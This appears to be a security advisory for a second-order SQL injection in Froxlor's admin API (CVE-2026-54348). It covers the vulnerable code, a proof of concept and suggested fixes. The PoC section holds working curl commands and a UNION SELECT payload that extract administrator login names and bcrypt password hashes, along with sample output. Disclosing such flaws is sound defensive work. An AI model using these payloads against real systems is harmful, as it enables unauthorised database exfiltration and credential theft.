froxlor/froxlor
Affected
- introduced
0, fixed2.3.8(ecosystem)
Fixed versions
2.3.8
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-54348
Froxlor: Second-Order SQL Injection via Admins.add ipaddress Parameter Allows Full Database Exfiltration
Summary
A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.
---
Details
The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358
$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
? json_encode($ipaddress) // ← attacker payload written to panel_admins.ip
: -1),
The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
// json_decode restores the array; implode joins elements with no casting or escaping
$ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
"SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)
The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.
---
PoC
<img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />
Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.
Step 1 — Poison: store the UNION SELECT payload via `Admins.add`
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{
"command": "Admins.add",
"params": {
"name": "x",
"new_loginname": "eviladmin",
"email": "[email protected]",
"admin_password": "Passw0rd!123",
"ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
}
}'
The ip column of panel_admins for eviladmin now contains:
["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
Step 2 — Trigger: call `IpsAndPorts.listing` as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/admin_index.php?page=ipsandports
Or directly via API:
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{"command":"IpsAndPorts.listing"}'
Confirmed output from live instance (`localhost:8290`):
{
"data": {
"list": [
{
"ip": "admin",
"port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
},
{
"ip": "eviladmin",
"port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
}
]
}
}
The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction — two CMD single-line commands:
Step 1: poison (run once with any admin API key that has change_serversettings=1):
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"[email protected]\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"
Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):
curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
Confirmed output from live instance (`localhost:8290`) — step 2 alone:
curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
{
"data": {
"list": [
{ "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
{ "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
]
}
}
---
Impact
Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
---
Fix
Option A (recommended) — Integer-cast all elements before implode:
// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";
Option B — Validate at storage time in `Admins.add` / `Admins.update`:
// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
$ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
? json_encode(array_map('intval', $ipaddress))
: -1),
Apply the same fix to the identical pattern in Domains.php:1016.
---
High Basis: The source's own band: HIGH
0, fixed 2.3.8 (ecosystem)2.3.8
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0